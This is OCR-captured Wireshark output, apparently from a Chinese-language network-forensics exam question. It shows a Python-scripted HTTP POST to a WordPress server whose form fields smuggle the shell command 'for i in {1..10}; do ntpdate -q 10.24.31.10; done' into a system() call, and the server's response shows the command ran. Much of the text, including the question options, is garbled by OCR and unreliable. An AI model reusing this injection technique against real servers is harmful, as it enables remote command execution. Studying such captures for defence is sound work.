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Time Source Degtination Protoco\ Length Info

12015-10-14 11:28:43.786109

10.24.11.101

2 2015-10-14 11:28:43.787049  10.2.2.2 10.24.11,101 Tcp 66 52751 > ssh [ACK] Seq=1 Ack=129 win=B14 Len=0 TSval=2825
5 2015-10-14 11:28:48.179873  10.2.2.100 10.24.11.101 TCp 74 54843 > http [SYN] Seq=0 Win=29200 Len=0 MS5=1460 SACK_PI
6 2015-10-14 11:28:48,179987  10.24.11.101 10.2.2.100 Tcp 74 http » 54843 [SWN, ACK] Seq=0 Ack=1 Win=14480 Len=0 M55=
7 2015-10-14 11:28:48.181005  10.2.2.100 10.24.11.101 Tcp 66 54843 > http [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=207!
B 2015-10-14 11:28:48.181083  10.2.2.100 10.24.11.101 HTTP 142 GeT / HTTP/1.1
92015-10-14 11:28:48.181190  10.24.11.101 10.2.2.100 TCp 66 http > 54843 [ACK] Seq=1 Ack=77 Win=14592 Len=0 Tsval=48i
10 2015-10-14 11:28:48,429040  10.24.11.101 10.2.2.100 Tcp 2962 [TCP segment of a reassembled POU]
11 2015-10-14 11:28:48.4292681  10.24.11.101 10.2.2.100 TP 2962 [TCP segment of a reassenbled PDU]
12 2015-10-14 11:28:48.429513  10.24.11.101 10.2.2.100 TP 2962 [TCP sequent of a reassenbled POU]
13 2015-10-14 11:28:48.429656  10.24.11.101 10.2.2.100 TP 571 [TCP segment of a reassenbled poU]
14 2015-10-14 11:28:48,430184  10.2.2.100 10.24.11,101 Tcp 66 54843 > http [ACK] Seg=77 Ack=2897 Win=33072 Len=0 Tsval:
15 2015-10-14 11:28:48.430305  10.2.2.100 10.24.11.101 Tce 66 54843 > http [ACK] Seq=77 Ack=4345 Win=37888 Len=0 TSval:
16 2015-10-14 11:28:48.430d61  10.2.2.100 10.24.11.101 TP 66 54843 > http [ACK] Seq=77 Ack=5793 Win=40832 Len=0 Tsval:
17 2015-10-14 11:28:48.430516  10.2.2.100 10.24.11.101 TCp 66 54843 > http [ACK] Seq=77 Ack=7241 Win=43776 Len=0 Tsval:
18 2015-10-14 11:28:48,430582  10.2.2.100 10.24.11,101 Tcp 66 54843 > http [ACK] Seg=77 Ack=B689 Win=46592 Len=0 Tsval:
19 2015-10-14 11:28:48.430644  10.2.2.100 10.24.11,101 Tcp 66 54843 > http [ACK] Seq=77 Ack=9194 Win=49536 Len=0 Tsval:
20 2015-10-14 11:28:48.445966  10.24.11.101 10.2.2.100 TP 1514 [TcP segment of a reassembled POU]
21 2015-10-14 11:28:48.446018  10.24.11.101 10.2.2.100 HTTP 79 HTTP/1.1 200 0K (text/html)
22 2015-10-14 11:28:48,446277  10.24.11.101 10.2.2.100 Tcp 66 http > 34843 [FIN, ACK] 5eq=10655 Ack=77 Win=14392 Len=0
23 2015-10-14 11:28:48.447068  10.2.2.100 10.24.11,101 Tcp 66 54843 > http [ACK] Seq=77 Ack=10642 Win=52480 Len=0 Tsva
24 2015-10-14 11:28:48.447109  10.2.2.100 10.24.11.101 TP 66 54843 > http [ACK] Seq=77 Ack=10655 Win=52480 Len=0 TSva
25 2015-10-14 11:28:48.447784  10.2.2.100 10.24.11.101 TCp 66 54843 > http [FIN, ACK] Seq=77 Ack=10656 Win=32480 Len=0
26 2015-10-14 11:28:48,447822  10.24.11.101 10.2.2.100 Tcp 66 http > 54843 [ACK] 5eq=10656 Ack=78 Win=14592 Len=0 Tsva
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Stream Content

POST / HTTP/1.1
Accept-Encoding: ide
Content-Length: 97
Host: 10.24.11.101
Content-Type:
Connection: close

ntity

application/x-www-form-urlencoded

| »

m

User-Agent: Python-urllib/2.7

WP_DEBUG=5ystem&ABSPATH=For%201%201n%20%781. . 10%7D%38%20d0o%20nt pdate%*20-q%2010. 24. 31.10%
3B%20doneHTTP/1.1 200 OK

Date: Wed, 14 Oct 2015 15:29:24 GMT
server: Apache/’Z 2. 15 (centos)
X-Powered-By: PHP/5.

x-pingback: http: ,/,/10 24 11.101/xmlrpc.
Connection: close

Transfer-Encoding: chunked
Content-Type: text/html; charset=uTF-8

php

207¢c

server 10.24,31.10, stratum 16, offset 0.315927, delay 0.02628

server 10.24.31.10, stratum 16, offset 0.315897, delay 0.02632

server 10.24.31.10, stratum 16, offset 0.315924, delay 0.02625

server 10.24.31.10, stratum 16, offset 0.315926, delay 0.02628

server 10.24,31.10, stratum 16, offset 0.315931, delay 0.02625

server 10.24.31.10, stratum 16, offset 0.315913, delay 0.02629

server 10.24.31.10, stratum 16, offset 0.315901, delay 0.02631

server 10.24.31.10, stratum 16, offset 0.315928, delay 0.02625

server 10.24,31.10, stratum 16, offset 0.315896, delay 0.02632

server 10.24,31.10, stratum 16, offset 0.315907, delay 0.02634

<!DOCTYPE html>

<!--[if 1€ 7]>

<html class="ie ie7" lang="en-us">

<![endif]-—=

<!--[if IE 8]>

<htm] class="ie ie8" lang="en-us">

<! [endif]-->

<l--[if '(IE ?) | '(IE 8) Is<l-—»

<htm1 '\ang— -
Entire conversation (11566 bytes) E|
[ End || swveas ][ it Joasa @ o O HexDump O ChAmays  © Raw
Filter Out This Stream ] l Close l
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{ Smart decode J

WP_DEBUG=system&ABSPATH=for i in {1..10}; do ntpdate -q 10.24.31.10; done

® Text () Hex

Decodeas .. ¥
Encode as ... |*
Hash |

{ Smart decode J

(®=)

Time
4658 2015-10-14 11:

Destination
.24.11.101

Source
10.2.2.100

Protocol

Length Info -
348 POST / HTTP/1.1 (application/x-www-form-urTlencoded)

4659 2015-10-14 11:29:24.776701 10.24.11.101 10.2.2.100 TCP 66 http > 55072 [ACK] Seq=1 Ack=283 Win=15616 Len=0 TSval=4:
4660 2015-10-14 11:29:24.963792 10.24.11.101 10.24.31.10 NTP 90 NTP Version 4, client

4661 2015-10-14 11:29:24.964982 10.24.31.10 10.24.11.101 NTP 90 NTP version 4, server

4662 2015-10-14 11:29:24.965157 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client

4663 2015-10-14 11:29:24.966038 10.24.31.10 10.24.11.101 NTP 90 NTP version 4, server

4664 2015-10-14 11:29:24.966130 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client

4665 2015-10-14 11:29:24.966909 10.24.31.10 10.24,11.101 NTP 90 NTP version 4, server

4666 2015-10-14 11:29:24.967003 10.24.11.101 10.24.31.10 NTP 90 NTP Version 4, client

4667 2015-10-14 11:29:24.967658 10.24.31.10 10.24.11.101 NTP 90 NTP Version 4, server

4668 2015-10-14 11:29:25.071567 10.24.11.101 10.24.31.10 NTP 90 NTP Version 4, client

4669 2015-10-14 11:29:25.072638 10.24.31.10 10.24.11.101 NTP 90 NTP Version 4, server

4670 2015-10-14 11:29:25.072742 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client

4671 2015-10-14 11:29:25.073656 10.24.31.10 10.24.11.101 NTP 90 NTP version 4, server

4672 2015-10-14 11:29:25.073747 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client

4673 2015-10-14 11:29:25.074509 10.24.31.10 10.24.11.101 NTP 90 NTP version 4, server

4674 2015-10-14 11:29:25.074602 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client

4675 2015-10-14 11:29:25.075303 10.24.31.10 10.24,11.101 NTP 90 NTP version 4, server

4677 2015-10-14 11:29:25.179187 10.24.11.101 10.24.31.10 NTP 90 NTP Version 4, client

4678 2015-10-14 11:29:25.180179 10.24.31.10 10.24.11.101 NTP 90 NTP Version 4, server

4679 2015-10-14 11:29:25.180282 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client il
4680 2015-10-14 11:29:25.181174 10.24.31.10 10.24.11.101 NTP 90 NTP version 4, server %l
4681 2015-10-14 11:29:25.181265 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client

4682 2015-10-14 11:29:25.181993 10.24.31.10 10.24.11.101 NTP 90 NTP version 4, server

4683 2015-10-14 11:29:25.182056 10.24.11.101 10.24.31.10 NTP 90 NTP version 4, client o8

(Bz )
Yoo E s S =2 e TR 2F B R (5 oR BN\ P I
(A) (1) (HFA) AFR? > DT BF N~ FEK A E T E AT %

(A)
(B)
(©)
(D)

FILR AR ?

B
i
i

KA

4 o

Fru 2 4 (Core Switch)
e * 2 PR E  (Application Server)
L L

i

(C)

()

(A)
(B)
(©)
(D)

(HEW) AR - J A R e i Boi 7 A hir
BANE (W- ) T ol e B A

10.24.11.10 %+ 10.2.2.2 ¥ 4= SSH i 4
SSH 3¢ mZei=fgmpTrv 44 @ﬁ?}ﬁ
10.2.2.100 :# B4+ 10.24.11.101 4= HTTP GET Request

(B) ©)

10.2.2.100 = HTTP R =
(Esgag) AFEBY > AR grﬁég;ﬁfﬂgﬁs&ﬁ»fw % IR
#¥ 3 ¥ HTTPRequest (H ) J‘iilla—*ﬁlﬁgg?
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